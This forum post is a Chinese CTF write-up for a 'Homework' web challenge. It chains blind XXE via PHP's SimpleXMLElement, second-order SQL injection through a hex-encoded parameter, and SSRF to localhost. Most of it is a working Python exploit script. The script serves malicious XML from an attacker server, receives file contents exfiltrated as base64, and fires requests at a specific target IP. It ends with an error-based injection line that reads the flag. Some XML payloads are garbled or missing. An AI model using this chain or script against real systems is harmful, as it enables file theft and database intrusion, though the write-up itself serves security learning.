打印 上一主题 下一主题

[Writeup] Homework WP

[复制链接]
跳转到指定楼层
1#
查看96 | 回复0 | 2019-10-15 21:58:41 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
## SimpleXMLElement 类XXE漏洞
首先是根据url格式和页面提示的calc类源码,猜测url参数是调用相关类和传入参数。

```
http://62.234.99.204:1006/show.php?module=calc&args[]=2&args[]=a&args[]=2
```


对原生类 `SimpleXMLElement` 进行调用,其中他的构造函数参数如下
`__construct(data,options,is_url,ns,is_prefix)`



| 参数 | 描述 |
|:---:|:---:|
| data | 必需。形式良好的 XML 字符串或 XML 文档的路径或 URL。|
| options | 可选。规定附加的 Libxml 参数。
| is_url | 可选。规定 data 参数是否是 URL。默认是 false。|
| ns | 可选。|
| is_prefix | 可选。|

其中第一个参数url为自己服务器的xml文件,第二个参数随意填数字,可以找手册参考下,第三个参数必须为true,代表第一个参数为url

```
/show.php?module=SimpleXMLElement&args[]=http://193.8.83.174:34567/payload1.xml&args[]=4&args[]=true
```

> 第二个参数:https://www.php.net/manual/zh/libxml.constants.php

接下去就是按照常规blind xxe,进行读源码

> payload1.xml
```

? ?
? ? %remote; %intern; %xxe;
]>
```


> payload2.xml
```

">
```


逐个得到所有源码,开始审计

## 二次注入+XXE的SSRF


读源码,发现所有入库的参数,都经过`w_addslashes`过滤,并且在数据库语句中用单引号包裹,但是,只有在`function.php`的23行的sig参数,虽然有过滤,但是没有用单引号包裹,可以用hex编码传入字符串,包括单引号等特殊字符,不受`w_addslashes`影响。
并且,show.php中存在一个只能本地访问才可启用的方法,`$_GET['action']=="view"`时可以用`$_GET['filename']`读取上传的文件内容。在每次读取内容时,更新sig的值,此时带入了先前查询出的sig,虽然有单引号包裹,但可以由上一步的hex转码传入不受过滤的单引号,造成注入。

因此先上传一个文件,内容无所谓,但文件名必须不能重复。修改sig为hex编码的注入语句。

> xxrf的payload2.xml
```

">
```

再次回弹,得到ssrf访问的页面内容,即可进行注入。可以采用报错注入。

流程到此结束。

## 代码

```python
from http.server import BaseHTTPRequestHandler
import http
import socketserver
import argparse
import base64
import socket
import _thread
import time
import re
import random
import string
import requests


class myhttpserver(BaseHTTPRequestHandler):

? ? def respPayload(self, payloadid):
? ?? ???xml1 = '''
? ?
? ? %remote; %intern; %xxe;
]>'''
? ?? ???xml2 = '''
? ?? ?? ?? ?? ?(("http://127.0.0.1/show.php?action=view&filename=" + UPFILE) if SSRF else PAYLOAD) + '''">
">'''

? ?? ???if payloadid == 1:
? ?? ?? ?? ?print(xml1)
? ?? ?? ?? ?return xml1
? ?? ???else:
? ?? ?? ?? ?print(xml2)
? ?? ?? ?? ?return xml2

? ? def do_GET(self):
? ?? ???# return all todos
? ?? ???re_recv_base64 = re.compile('''(?<=/\?data=).+''')
? ?? ???if (self.path.find("payload1.xml") != -1):
? ?? ?? ?? ?data = self.respPayload(1)
? ?? ???elif (self.path.find("payload2.xml") != -1):
? ?? ?? ?? ?data = self.respPayload(2)
? ?? ???elif (re_recv_base64.search(self.path)):
? ?? ?? ?? ?print("Recv Base64 data")
? ?? ?? ?? ?data = re_recv_base64.findall(self.path)[0]
? ?? ?? ?? ?data = base64.b64decode(data)
? ?? ?? ?? ?print(data)
? ?? ?? ?? ?data = "Bye"
? ?? ???else:
? ?? ?? ?? ?print(self.path)
? ?? ?? ?? ?self.send_error(404, "File not found.")
? ?? ?? ?? ?return

? ?? ???self.send_response(200)
? ?? ???self.send_header('Content-type', 'text/xml')
? ?? ???self.end_headers()
? ?? ???self.wfile.write(data.encode())
? ?? ???if data == "Bye":
? ?? ?? ?? ?httpd.shutdown()


def server_start():
? ? global httpd
? ? Handler = myhttpserver
? ? httpd = socketserver.TCPServer(("", PORT), Handler)

? ? print("serving at {}:{}".format(HOST, PORT))
? ? httpd.serve_forever()


def sendpayload(payload):
? ? time.sleep(2)
? ? payload = "0x" + base64.b16encode(payload.encode()).decode()

? ? headers = {"Cookie": "cookie-check=582bd94d1e69c38b4e4c8f20cfe8ddb1; user=zzaa"}
? ? upfile_url = "http://62.234.99.204:1006/submit.php"
? ? xxe_url = "http://62.234.99.204:1006/show.php?module=SimpleXMLElement&args[]=http://" + "{}:{}".format(HOST,
? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ???PORT) + "/payload1.xml&args[]=2&args[]=true"
? ? files = {"file": (UPFILE, "data")}
? ? data = {"sig": payload}
? ? proxies = {"http": "127.0.0.1:8080"}

? ? # r = requests.post(upfile_url, data=data, files=files, headers=headers, proxies=proxies)
? ? r = requests.post(upfile_url, data=data, files=files, headers=headers)
? ? time.sleep(1)
? ? # r = requests.get(xxe_url, headers=headers, proxies=proxies)
? ? r = requests.get(xxe_url, headers=headers)


def main():
? ? global HOST
? ? global PORT
? ? global UPFILE
? ? global SSRF
? ? global PAYLOAD
? ? parser = argparse.ArgumentParser(description='Write up for Homework')
? ? parser.add_argument('-H', '--HOST', help='local ip', required=True)
? ? parser.add_argument('-ssrf', '--SSRF', help='Is ssrf or xxe read file.', action="store_true")
? ? parser.add_argument('-p', '--PAYLOAD', default="index.php",
? ?? ?? ?? ?? ?? ?? ?? ?help='The payload for SQL injection or the file path for XXE')
? ? args = parser.parse_args()

? ? SSRF = args.SSRF
? ? HOST = args.HOST
? ? PAYLOAD = args.PAYLOAD
? ? # HOST = "0.0.0.0"
? ? PORT = random.randint(20000, 65535)
? ? UPFILE = "".join(random.sample(string.ascii_letters + string.digits, 8))

? ? print("{}:{} {}".format(HOST, PORT, UPFILE))
? ? _thread.start_new_thread(sendpayload, (PAYLOAD,))

? ? server_start()
? ? # listen_resp()


if __name__ == "__main__":
? ? main()

```


> 需要独立ip的公网服务器上执行
> 测试环境python3.7

```
Usage:
python poc.py -H yourip -p config.php
python poc.py -H yourip -ssrf -p "' and updatexml(1,concat(0x7e,mid(((select flag from flag)),1,20),0x7e),1)#"
```


分享到:? QQ好友和群QQ好友和群
收藏收藏
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则